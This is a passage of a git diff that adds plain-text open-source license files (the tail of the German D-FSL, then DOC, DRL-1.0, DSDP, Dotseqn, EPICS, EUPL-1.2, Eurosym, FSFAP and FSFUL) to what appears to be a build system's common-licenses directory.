+(3) Wenn Sie das Programm oder einen Teil hiervon - verändert oder unverändert - zusammen mit einem anderen Programm verbreiten oder öffentlich zugänglich machen, das unter der GNU General Public License (GPL) lizenziert wird, darf das Programm auch unter den Bedingungen der GPL genutzt werden, sofern es mit dem anderen Programm ein "derivative work" im Sinne der GPL bildet. Dabei sollen die Hinweise auf diese Lizenz entfernt und durch einen Hinweis auf die GPL ersetzt werden. Ob bei der Zusammenstellung ein "derivate work" im Sinne der GPL entsteht, beurteilt sich nach Ziffer 2 b) der GPL. Diese Bestimmung lautet: "You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License." Die GPL kann abgerufen werden unter http://www.fsf.org/licenses/gpl.
+
+(4) Wenn Sie das Programm in einer veränderten Form verbreiten oder öffentlich zugänglich machen, müssen Sie im Source Code einen Hinweis mit den Änderungen aufnehmen und mit dem Datum der Änderung versehen. Der Hinweis muss erkennen lassen, welche Änderungen vorgenommen wurden und bestehende Vermerke, die über die Urheber des Programms Auskunft geben, übernehmen. Dies gilt unabhängig davon, ob Sie einen eigenen Urhebervermerk hinzufügen. Anstelle eines Hinweises im Source Code können Sie auch ein Versionskontrollsystem verwenden oder weiterführen, sofern dieses mitverbreitet wird oder öffentlich zugänglich ist.
+
+(5) Sie dürfen von Dritten für die Einräumung eines einfachen Nutzungsrechts an veränderten Versionen des Programms kein Entgelt verlangen.
+
+(6) Wenn Sie an der veränderten Version des Programms ein anderes Schutzrecht als ein Urheberrecht erwerben, insbesondere ein Patent oder Gebrauchsmuster, lizenzieren Sie dieses Schutzrecht für veränderte und unveränderte Versionen des Programms in dem Umfang, der erforderlich ist, um die Rechte aus dieser Lizenz wahrnehmen zu können.
+
+§ 4 Weitere Pflichten beim Vertrieb im Object Code
+
+(1) Wenn Sie das Programm nur im Object Code verbreiten, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten entweder
+1. den vollständigen Source Code im Internet öffentlich zugänglich machen und bei der Verbreitung des Object Codes deutlich auf die vollständige Internetadresse hinweisen, unter der der Source Code abgerufen werden kann oder
+2. den vollständigen Source Code auf einem hierfür üblichen Datenträger unter Beachtung der §§ 2 und 3 mitverbreiten.
+
+(2) Wenn Sie das Programm im Object Code öffentlich zugänglich machen, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten den vollständigen Source Code im Internet öffentlich zugänglich machen und dabei deutlich auf die vollständige Internetadresse hinweisen.
+
+(3) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend der Absätze 1 und 2 mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 5 Vertragsschluss
+
+(1) Mit dieser Lizenz wird Ihnen und jeder anderen Person ein Angebot auf Abschluss eines Vertrages über die Nutzung des Programms unter den Bedingungen der Deutschen Freien Softwarelizenz unterbreitet.
+
+(2) Sie dürfen das Programm nach den jeweils anwendbaren gesetzlichen Vorschriften bestimmungsgemäß benutzen, ohne dass es der Annahme dieser Lizenz bedarf. Dieses Recht umfasst in der Europäischen Union und in den meisten anderen Rechtsordnungen insbesondere die folgenden Befugnisse:
+1. das Programm ablaufen zu lassen sowie die Erstellung von hierfür erforderlichen Vervielfältigungen im Haupt- und Arbeitsspeicher;
+2. das Erstellen einer Sicherungskopie;
+3. die Fehlerberichtigung;
+4. die Weitergabe einer rechtmäßig erworbenen körperlichen Kopie des Programms.
+
+(3) Sie erklären Ihre Zustimmung zum Abschluss dieser Lizenz, indem Sie das Programm verbreiten, öffentlich zugänglich machen, verändern oder in einer Weise vervielfältigen, die über die bestimmungsgemäße Nutzung im Sinne von Absatz 2 hinausgeht. Ab diesem Zeitpunkt ist diese Lizenz als rechtlich verbindlicher Vertrag zwischen den Rechtsinhabern und Ihnen geschlossen, ohne dass es eines Zugangs der Annahmeerklärung bei den Rechtsinhabern bedarf.
+
+(4) Sie und jeder andere Lizenznehmer erhalten die Rechte aus dieser Lizenz direkt von den Rechtsinhabern. Eine Unterlizenzierung oder Übertragung der Rechte ist nicht gestattet.
+
+§ 6 Beendigung der Rechte bei Zuwiderhandlung
+
+(1) Jede Verletzung Ihrer Verpflichtungen aus dieser Lizenz führt zu einer automatischen Beendigung Ihrer Rechte aus dieser Lizenz.
+
+(2) Die Rechte Dritter, die das Programm oder Rechte an dem Programm von Ihnen erhalten haben, bleiben hiervon unberührt.
+
+§ 7 Haftung und Gewährleistung
+
+(1) Für entgegenstehende Rechte Dritter haften die Rechtsinhaber nur, sofern sie Kenntnis von diesen Rechten hatten, ohne Sie zu informieren.
+
+(2) Die Haftung für Fehler und sonstige Mängel des Programms richtet sich nach den außerhalb dieser Lizenz getroffenen Vereinbarungen zwischen Ihnen und den Rechtsinhabern oder, wenn eine solche Vereinbarung nicht existiert, nach den gesetzlichen Regelungen.
+
+§ 8 Verträge mit Dritten
+
+(1) Diese Lizenz regelt nur die Beziehung zwischen Ihnen und den Rechtsinhabern. Sie ist nicht Bestandteil der Verträge zwischen Ihnen und Dritten.
+
+(2) Die Lizenz beschränkt Sie nicht in der Freiheit, mit Dritten, die von Ihnen Kopien des Programms erhalten oder Leistungen in Anspruch nehmen, die im Zusammenhang mit dem Programm stehen, Verträge beliebigen Inhalts zu schließen, sofern Sie dabei Ihren Verpflichtungen aus dieser Lizenz nachkommen und die Rechte der Dritten aus dieser Lizenz nicht beeinträchtigt werden. Insbesondere dürfen Sie für die Überlassung des Programms oder sonstige Leistungen ein Entgelt verlangen.
+
+(3) Diese Lizenz verpflichtet Sie nicht, das Programm an Dritte weiterzugeben. Es steht Ihnen frei zu entscheiden, wem Sie das Programm zugänglich machen. Sie dürfen aber die weitere Nutzung durch Dritte nicht durch den Einsatz technischer Schutzmaßnahmen, insbesondere durch den Einsatz von Kopierschutzvorrichtungen jeglicher Art, verhindern oder erschweren. Eine passwortgeschützte Zugangsbeschränkung oder die Nutzung in einem Intranet wird nicht als technische Schutzmaßnahme angesehen.
+
+§ 9 Text der Lizenz
+
+(1) Diese Lizenz ist in deutscher und englischer Sprache abgefasst. Beide Fassungen sind gleich verbindlich. Es wird unterstellt, dass die in der Lizenz verwandten Begriffe in beiden Fassungen dieselbe Bedeutung haben. Ergeben sich dennoch Unterschiede, so ist die Bedeutung maßgeblich, welche die Fassungen unter Berücksichtigung des Ziels und Zwecks der Lizenz am besten miteinander in Einklang bringt.
+
+(2) Der Lizenzrat der Deutschen Freien Software Lizenz kann mit verbindlicher Wirkung neue Versionen der Lizenz in Kraft setzen, soweit dies erforderlich und zumutbar ist. Neue Versionen der Lizenz werden auf der Internetseite http://www.d-fsl.de mit einer eindeutigen Versionsnummer veröffentlicht. Die neue Version der Lizenz erlangt für Sie verbindliche Wirkung, wenn Sie von deren Veröffentlichung Kenntnis genommen haben. Gesetzliche Rechtsbehelfe gegen die Änderung der Lizenz werden durch die vorstehenden Bestimmungen nicht beschränkt.
+
+(3) Sie dürfen diese Lizenz in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+§ 10 Anwendbares Recht
+
+Auf diese Lizenz findet deutsches Recht Anwendung.
+
+
+Anhang: Wie unterstellen Sie ein Programm der Deutschen Freien Software Lizenz?
+Um jedermann den Abschluss dieser Lizenz zu ermöglichen, wird empfohlen, das Programm mit folgendem Hinweis auf die Lizenz zu versehen:
+
+"Copyright (C) 20[jj] [Name des Rechtsinhabers].
+
+Dieses Programm kann durch jedermann gemäß den Bestimmungen der Deutschen Freien Software Lizenz genutzt werden.
+
+Die Lizenz kann unter http://www.d-fsl.de abgerufen werden."
diff --git a/meta/files/common-licenses/DOC b/meta/files/common-licenses/DOC
new file mode 100644
index 0000000000..07a684f0d0
--- /dev/null
+++ b/meta/files/common-licenses/DOC
@@ -0,0 +1,15 @@
+Copyright and Licensing Information for ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), and CoSMIC(TM)
+
+ACE(TM), TAO(TM), CIAO(TM), DAnCE>(TM), and CoSMIC(TM) (henceforth referred to as "DOC software") are copyrighted by Douglas C. Schmidt and his research group at Washington University, University of California, Irvine, and Vanderbilt University, Copyright (c) 1993-2009, all rights reserved. Since DOC software is open-source, freely available software, you are free to use, modify, copy, and distribute--perpetually and irrevocably--the DOC software source code and object code produced from the source, as well as copy and distribute modified versions of this software. You must, however, include this copyright statement along with any code built using DOC software that you release. No copyright statement needs to be provided if you just ship binary executables of your software products.
+
+You can use DOC software in commercial and/or binary software releases and are under no obligation to redistribute any of your source code that is built using DOC software. Note, however, that you may not misappropriate the DOC software code, such as copyrighting it yourself or claiming authorship of the DOC software code, in a way that will prevent DOC software from being distributed freely using an open-source development model. You needn't inform anyone that you're using DOC software in your software, though we encourage you to let us know so we can promote your project in the DOC software success stories.
+
+The ACE, TAO, CIAO, DAnCE, and CoSMIC web sites are maintained by the DOC Group at the Institute for Software Integrated Systems (ISIS) and the Center for Distributed Object Computing of Washington University, St. Louis for the development of open-source software as part of the open-source software community. Submissions are provided by the submitter ``as is'' with no warranties whatsoever, including any warranty of merchantability, noninfringement of third party intellectual property, or fitness for any particular purpose. In no event shall the submitter be liable for any direct, indirect, special, exemplary, punitive, or consequential damages, including without limitation, lost profits, even if advised of the possibility of such damages. Likewise, DOC software is provided as is with no warranties of any kind, including the warranties of design, merchantability, and fitness for a particular purpose, noninfringement, or arising from a course of dealing, usage or trade practice. Washington University, UC Irvine, Vanderbilt University, their employees, and students shall have no liability with respect to the infringement of copyrights, trade secrets or any patents by DOC software or any part thereof. Moreover, in no event will Washington University, UC Irvine, or Vanderbilt University, their employees, or students be liable for any lost revenue or profits or other special, indirect and consequential damages.
+
+DOC software is provided with no support and without any obligation on the part of Washington University, UC Irvine, Vanderbilt University, their employees, or students to assist in its use, correction, modification, or enhancement. A number of companies around the world provide commercial support for DOC software, however. DOC software is Y2K-compliant, as long as the underlying OS platform is Y2K-compliant. Likewise, DOC software is compliant with the new US daylight savings rule passed by Congress as "The Energy Policy Act of 2005," which established new daylight savings times (DST) rules for the United States that expand DST as of March 2007. Since DOC software obtains time/date and calendaring information from operating systems users will not be affected by the new DST rules as long as they upgrade their operating systems accordingly.
+
+The names ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), CoSMIC(TM), Washington University, UC Irvine, and Vanderbilt University, may not be used to endorse or promote products or services derived from this source without express written permission from Washington University, UC Irvine, or Vanderbilt University. This license grants no permission to call products or services derived from this source ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), or CoSMIC(TM), nor does it grant permission for the name Washington University, UC Irvine, or Vanderbilt University to appear in their names.
+
+If you have any suggestions, additions, comments, or questions, please let me know.
+
+Douglas C. Schmidt
diff --git a/meta/files/common-licenses/DRL-1.0 b/meta/files/common-licenses/DRL-1.0
new file mode 100644
index 0000000000..8bcb7148c9
--- /dev/null
+++ b/meta/files/common-licenses/DRL-1.0
@@ -0,0 +1,12 @@
+Detection Rule License (DRL) 1.0
+Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:
+
+identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
+
+a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable
+
+indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
diff --git a/meta/files/common-licenses/DSDP b/meta/files/common-licenses/DSDP
new file mode 100644
index 0000000000..1c4d42f4b2
--- /dev/null
+++ b/meta/files/common-licenses/DSDP
@@ -0,0 +1,18 @@
+COPYRIGHT NOTIFICATION
+
+(C) COPYRIGHT 2004 UNIVERSITY OF CHICAGO
+
+This program discloses material protectable under copyright laws of the United States. Permission to copy and modify this software and its documentation is hereby granted, provided that this notice is retained thereon and on all copies or modifications. The University of Chicago makes no representations as to the suitability and operability of this software for any purpose. It is provided "as is"; without express or implied warranty. Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others, so long as this original copyright notice is retained. Any publication resulting from research that made use of this software should cite this document.
+
+ This software was authored by:
+
+ Steven J. Benson Mathematics and Computer Science Division Argonne National Laboratory Argonne IL 60439
+
+ Yinyu Ye Department of Management Science and Engineering Stanford University Stanford, CA U.S.A
+
+ Any questions or comments on the software may be directed to benson@mcs.anl.gov or yinyu-ye@stanford.edu
+
+Argonne National Laboratory with facilities in the states of Illinois and Idaho, is owned by The United States Government, and operated by the University of Chicago under provision of a contract with the Department of Energy.
+
+DISCLAIMER
+THIS PROGRAM WAS PREPARED AS AN ACCOUNT OF WORK SPONSORED BY AN AGENCY OF THE UNITED STATES GOVERNMENT. NEITHER THE UNITED STATES GOVERNMENT NOR ANY AGENCY THEREOF, NOR THE UNIVERSITY OF CHICAGO, NOR ANY OF THEIR EMPLOYEES OR OFFICERS, MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION, APPARATUS, PRODUCT, OR PROCESS DISCLOSED, OR REPRESENTS THAT ITS USE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS. REFERENCE HEREIN TO ANY SPECIFIC COMMERCIAL PRODUCT, PROCESS, OR SERVICE BY TRADE NAME, TRADEMARK, MANUFACTURER, OR OTHERWISE, DOES NOT NECESSARILY CONSTITUTE OR IMPLY ITS ENDORSEMENT, RECOMMENDATION, OR FAVORING BY THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF. THE VIEW AND OPINIONS OF AUTHORS EXPRESSED HEREIN DO NOT NECESSARILY STATE OR REFLECT THOSE OF THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF.
diff --git a/meta/files/common-licenses/Dotseqn b/meta/files/common-licenses/Dotseqn
new file mode 100644
index 0000000000..9833407c06
--- /dev/null
+++ b/meta/files/common-licenses/Dotseqn
@@ -0,0 +1,5 @@
+Copyright (C) 1995 by Donald Arseneau
+
+This file may be freely transmitted and reproduced, but it may not be changed unless the name is changed also (except that you may freely change the paper-size option for \documentclass).
+
+This notice must be left intact.
diff --git a/meta/files/common-licenses/EPICS b/meta/files/common-licenses/EPICS
new file mode 100644
index 0000000000..f2f6b0e7af
--- /dev/null
+++ b/meta/files/common-licenses/EPICS
@@ -0,0 +1,32 @@
+EPICS Open License Terms
+
+The following is the text of the EPICS Open software license agreement which now applies to EPICS Base and many of the unbundled EPICS extensions and support modules.
+
+Copyright © <YEAR> <HOLDERS>. All rights reserved.
+
+<PRODUCT> is distributed subject to the following license conditions:
+
+SOFTWARE LICENSE AGREEMENT
+
+Software: <PRODUCT>
+
+1. The "Software", below, refers to <PRODUCT> (in either source code, or binary form and accompanying documentation). Each licensee is addressed as "you" or "Licensee."
+
+2. The copyright holders shown above and their third-party licensors hereby grant Licensee a royalty-free nonexclusive license, subject to the limitations stated herein and U.S. Government license rights.
+
+3. You may modify and make a copy or copies of the Software for use within your organization, if you meet the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement.
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy.
+
+4. You may modify a copy or copies of the Software or any portion of it, thus forming a work based on the Software, and distribute copies of such work outside your organization, if you meet all of the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement;
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy;
+c. Modified copies and works based on the Software must carry prominent notices stating that you changed specified portions of the Software.
+
+5. Portions of the Software resulted from work developed under a U.S. Government contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+6. WARRANTY DISCLAIMER. THE SOFTWARE IS SUPPLIED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, AND THEIR EMPLOYEES: (1) DISCLAIM ANY WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE OR NON-INFRINGEMENT, (2) DO NOT ASSUME ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF THE SOFTWARE, (3) DO NOT REPTHAT USE OF THE SOFTWARE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS, (4) DO NOT WARRANT THAT THE SOFTWARE WILL FUNCTION UNINTERRUPTED, THAT IT IS ERROR-FREE OR THAT ANY ERRORS WILL BE CORRECTED.
+
+7. LIMITATION OF LIABILITY. IN NO EVENT WILL THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, OR THEIR EMPLOYEES: BE LIABLE FOR ANY INDIRECT, INCIDENTAL, CONSEQUENTIAL, SPECIAL OR PUNITIVE DAMAGES OF ANY KIND OR NATURE, INCLUDING BUT NOT LIMITED TO LOSS OF PROFITS OR LOSS OF DATA, FOR ANY REASON WHATSOEVER, WHETHER SUCH LIABILITY IS ASSERTED ON THE BASIS OF CONTRACT, TORT (INCLUDING NEGLIGENCE OR STRICT LIABILITY), OR OTHERWISE, EVEN IF ANY OF SAID PARTIES HAS BEEN WARNED OF THE POSSIBILITY OF SUCH LOSS OR DAMAGES.
diff --git a/meta/files/common-licenses/EUPL-1.2 b/meta/files/common-licenses/EUPL-1.2
new file mode 100644
index 0000000000..6d8cea430e
--- /dev/null
+++ b/meta/files/common-licenses/EUPL-1.2
@@ -0,0 +1,190 @@
+EUROPEAN UNION PUBLIC LICENCE v. 1.2
+EUPL © the European Union 2007, 2016
+
+This European Union Public Licence (the ‘EUPL’) applies to the Work (as defined below) which is provided under the
+terms of this Licence. Any use of the Work, other than as authorised under this Licence is prohibited (to the extent such
+use is covered by a right of the copyright holder of the Work).
+The Work is provided under the terms of this Licence when the Licensor (as defined below) has placed the following
+notice immediately following the copyright notice for the Work:
+ Licensed under the EUPL
+or has expressed by any other means his willingness to license under the EUPL.
+
+1.Definitions
+In this Licence, the following terms have the following meaning:
+— ‘The Licence’:this Licence.
+— ‘The Original Work’:the work or software distributed or communicated by the Licensor under this Licence, available
+as Source Code and also as Executable Code as the case may be.
+— ‘Derivative Works’:the works or software that could be created by the Licensee, based upon the Original Work or
+modifications thereof. This Licence does not define the extent of modification or dependence on the Original Work
+required in order to classify a work as a Derivative Work; this extent is determined by copyright law applicable in
+the country mentioned in Article 15.
+— ‘The Work’:the Original Work or its Derivative Works.
+— ‘The Source Code’:the human-readable form of the Work which is the most convenient for people to study and
+modify.
+— ‘The Executable Code’:any code which has generally been compiled and which is meant to be interpreted by
+a computer as a program.
+— ‘The Licensor’:the natural or legal person that distributes or communicates the Work under the Licence.
+— ‘Contributor(s)’:any natural or legal person who modifies the Work under the Licence, or otherwise contributes to
+the creation of a Derivative Work.
+— ‘The Licensee’ or ‘You’:any natural or legal person who makes any usage of the Work under the terms of the
+Licence.
+— ‘Distribution’ or ‘Communication’:any act of selling, giving, lending, renting, distributing, communicating,
+transmitting, or otherwise making available, online or offline, copies of the Work or providing access to its essential
+functionalities at the disposal of any other natural or legal person.
+
+2.Scope of the rights granted by the Licence
+The Licensor hereby grants You a worldwide, royalty-free, non-exclusive, sublicensable licence to do the following, for
+the duration of copyright vested in the Original Work:
+— use the Work in any circumstance and for all usage,
+— reproduce the Work,
+— modify the Work, and make Derivative Works based upon the Work,
+— communicate to the public, including the right to make available or display the Work or copies thereof to the public
+and perform publicly, as the case may be, the Work,
+— distribute the Work or copies thereof,
+— lend and rent the Work or copies thereof,
+— sublicense rights in the Work or copies thereof.
+Those rights can be exercised on any media, supports and formats, whether now known or later invented, as far as the
+applicable law permits so.
+In the countries where moral rights apply, the Licensor waives his right to exercise his moral right to the extent allowed
+by law in order to make effective the licence of the economic rights here above listed.
+The Licensor grants to the Licensee royalty-free, non-exclusive usage rights to any patents held by the Licensor, to the
+extent necessary to make use of the rights granted on the Work under this Licence.
+
+3.Communication of the Source Code
+The Licensor may provide the Work either in its Source Code form, or as Executable Code. If the Work is provided as
+Executable Code, the Licensor provides in addition a machine-readable copy of the Source Code of the Work along with
+each copy of the Work that the Licensor distributes or indicates, in a notice following the copyright notice attached to
+the Work, a repository where the Source Code is easily and freely accessible for as long as the Licensor continues to
+distribute or communicate the Work.
+
+4.Limitations on copyright
+Nothing in this Licence is intended to deprive the Licensee of the benefits from any exception or limitation to the
+exclusive rights of the rights owners in the Work, of the exhaustion of those rights or of other applicable limitations
+thereto.
+
+5.Obligations of the Licensee
+The grant of the rights mentioned above is subject to some restrictions and obligations imposed on the Licensee. Those
+obligations are the following:
+
+Attribution right: The Licensee shall keep intact all copyright, patent or trademarks notices and all notices that refer to
+the Licence and to the disclaimer of warranties. The Licensee must include a copy of such notices and a copy of the
+Licence with every copy of the Work he/she distributes or communicates. The Licensee must cause any Derivative Work
+to carry prominent notices stating that the Work has been modified and the date of modification.
+
+Copyleft clause: If the Licensee distributes or communicates copies of the Original Works or Derivative Works, this
+Distribution or Communication will be done under the terms of this Licence or of a later version of this Licence unless
+the Original Work is expressly distributed only under this version of the Licence — for example by communicating
+‘EUPL v. 1.2 only’. The Licensee (becoming Licensor) cannot offer or impose any additional terms or conditions on the
+Work or Derivative Work that alter or restrict the terms of the Licence.
+
+Compatibility clause: If the Licensee Distributes or Communicates Derivative Works or copies thereof based upon both
+the Work and another work licensed under a Compatible Licence, this Distribution or Communication can be done
+under the terms of this Compatible Licence. For the sake of this clause, ‘Compatible Licence’ refers to the licences listed
+in the appendix attached to this Licence. Should the Licensee's obligations under the Compatible Licence conflict with
+his/her obligations under this Licence, the obligations of the Compatible Licence shall prevail.
+
+Provision of Source Code: When distributing or communicating copies of the Work, the Licensee will provide
+a machine-readable copy of the Source Code or indicate a repository where this Source will be easily and freely available
+for as long as the Licensee continues to distribute or communicate the Work.
+Legal Protection: This Licence does not grant permission to use the trade names, trademarks, service marks, or names
+of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and
+reproducing the content of the copyright notice.
+
+6.Chain of Authorship
+The original Licensor warrants that the copyright in the Original Work granted hereunder is owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
+Each Contributor warrants that the copyright in the modifications he/she brings to the Work are owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
+Each time You accept the Licence, the original Licensor and subsequent Contributors grant You a licence to their contributions
+to the Work, under the terms of this Licence.
+
+7.Disclaimer of Warranty
+The Work is a work in progress, which is continuously improved by numerous Contributors. It is not a finished work
+and may therefore contain defects or ‘bugs’ inherent to this type of development.
+For the above reason, the Work is provided under the Licence on an ‘as is’ basis and without warranties of any kind
+concerning the Work, including without limitation merchantability, fitness for a particular purpose, absence of defects or
+errors, accuracy, non-infringement of intellectual property rights other than copyright as stated in Article 6 of this
+Licence.
+This disclaimer of warranty is an essential part of the Licence and a condition for the grant of any rights to the Work.
+
+8.Disclaimer of Liability
+Except in the cases of wilful misconduct or damages directly caused to natural persons, the Licensor will in no event be
+liable for any direct or indirect, material or moral, damages of any kind, arising out of the Licence or of the use of the
+Work, including without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, loss
+of data or any commercial damage, even if the Licensor has been advised of the possibility of such damage. However,
+the Licensor will be liable under statutory product liability laws as far such laws apply to the Work.
+
+9.Additional agreements
+While distributing the Work, You may choose to conclude an additional agreement, defining obligations or services
+consistent with this Licence. However, if accepting obligations, You may act only on your own behalf and on your sole
+responsibility, not on behalf of the original Licensor or any other Contributor, and only if You agree to indemnify,
+defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against such Contributor by
+the fact You have accepted any warranty or additional liability.
+
+10.Acceptance of the Licence
+The provisions of this Licence can be accepted by clicking on an icon ‘I agree’ placed under the bottom of a window
+displaying the text of this Licence or by affirming consent in any other similar way, in accordance with the rules of
+applicable law. Clicking on that icon indicates your clear and irrevocable acceptance of this Licence and all of its terms
+and conditions.
+Similarly, you irrevocably accept this Licence and all of its terms and conditions by exercising any rights granted to You
+by Article 2 of this Licence, such as the use of the Work, the creation by You of a Derivative Work or the Distribution
+or Communication by You of the Work or copies thereof.
+
+11.Information to the public
+In case of any Distribution or Communication of the Work by means of electronic communication by You (for example,
+by offering to download the Work from a remote location) the distribution channel or media (for example, a website)
+must at least provide to the public the information requested by the applicable law regarding the Licensor, the Licence
+and the way it may be accessible, concluded, stored and reproduced by the Licensee.
+
+12.Termination of the Licence
+The Licence and the rights granted hereunder will terminate automatically upon any breach by the Licensee of the terms
+of the Licence.
+Such a termination will not terminate the licences of any person who has received the Work from the Licensee under
+the Licence, provided such persons remain in full compliance with the Licence.
+
+13.Miscellaneous
+Without prejudice of Article 9 above, the Licence represents the complete agreement between the Parties as to the
+Work.
+If any provision of the Licence is invalid or unenforceable under applicable law, this will not affect the validity or
+enforceability of the Licence as a whole. Such provision will be construed or reformed so as necessary to make it valid
+and enforceable.
+The European Commission may publish other linguistic versions or new versions of this Licence or updated versions of
+the Appendix, so far this is required and reasonable, without reducing the scope of the rights granted by the Licence.
+New versions of the Licence will be published with a unique version number.
+All linguistic versions of this Licence, approved by the European Commission, have identical value. Parties can take
+advantage of the linguistic version of their choice.
+
+14.Jurisdiction
+Without prejudice to specific agreement between parties,
+— any litigation resulting from the interpretation of this License, arising between the European Union institutions,
+bodies, offices or agencies, as a Licensor, and any Licensee, will be subject to the jurisdiction of the Court of Justice
+of the European Union, as laid down in article 272 of the Treaty on the Functioning of the European Union,
+— any litigation arising between other parties and resulting from the interpretation of this License, will be subject to
+the exclusive jurisdiction of the competent court where the Licensor resides or conducts its primary business.
+
+15.Applicable Law
+Without prejudice to specific agreement between parties,
+— this Licence shall be governed by the law of the European Union Member State where the Licensor has his seat,
+resides or has his registered office,
+— this licence shall be governed by Belgian law if the Licensor has no seat, residence or registered office inside
+a European Union Member State.
+
+
+ Appendix
+
+‘Compatible Licences’ according to Article 5 EUPL are:
+— GNU General Public License (GPL) v. 2, v. 3
+— GNU Affero General Public License (AGPL) v. 3
+— Open Software License (OSL) v. 2.1, v. 3.0
+— Eclipse Public License (EPL) v. 1.0
+— CeCILL v. 2.0, v. 2.1
+— Mozilla Public Licence (MPL) v. 2
+— GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3
+— Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for works other than software
+— European Union Public Licence (EUPL) v. 1.1, v. 1.2
+— Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong Reciprocity (LiLiQ-R+).
+
+The European Commission may update this Appendix to later versions of the above licences without producing
+a new version of the EUPL, as long as they provide the rights granted in Article 2 of this Licence and protect the
+covered Source Code from exclusive appropriation.
+All other changes or additions to this Appendix require the production of a new EUPL version.
diff --git a/meta/files/common-licenses/Eurosym b/meta/files/common-licenses/Eurosym
new file mode 100644
index 0000000000..f6c255327c
--- /dev/null
+++ b/meta/files/common-licenses/Eurosym
@@ -0,0 +1,18 @@
+Copyright (c) 1999-2002 Henrik Theiling
+Licence Version 2
+
+This software is provided 'as-is', without warranty of any kind, express or implied. In no event will the authors or copyright holders be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. You must not use any of the names of the authors or copyright holders of the original software for advertising or publicity pertaining to distribution without specific, written prior permission.
+
+ 4. If you change this software and redistribute parts or all of it in any form, you must make the source code of the altered version of this software available.
+
+ 5. This notice may not be removed or altered from any source distribution.
+
+This licence is governed by the Laws of Germany. Disputes shall be settled by Saarbruecken City Court.
diff --git a/meta/files/common-licenses/FSFAP b/meta/files/common-licenses/FSFAP
new file mode 100644
index 0000000000..32bc8a8898
--- /dev/null
+++ b/meta/files/common-licenses/FSFAP
@@ -0,0 +1 @@
+Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved. This file is offered as-is, without any warranty.
diff --git a/meta/files/common-licenses/FSFUL b/meta/files/common-licenses/FSFUL
new file mode 100644
index 0000000000..f976e3c9ac
--- /dev/null
+++ b/meta/files/common-licenses/FSFUL
@@ -0,0 +1,3 @@
+Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
+
+This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it.
diff --git a/meta/files/common-licenses/FSFULLR b/meta/files/common-licenses/FSFULLR
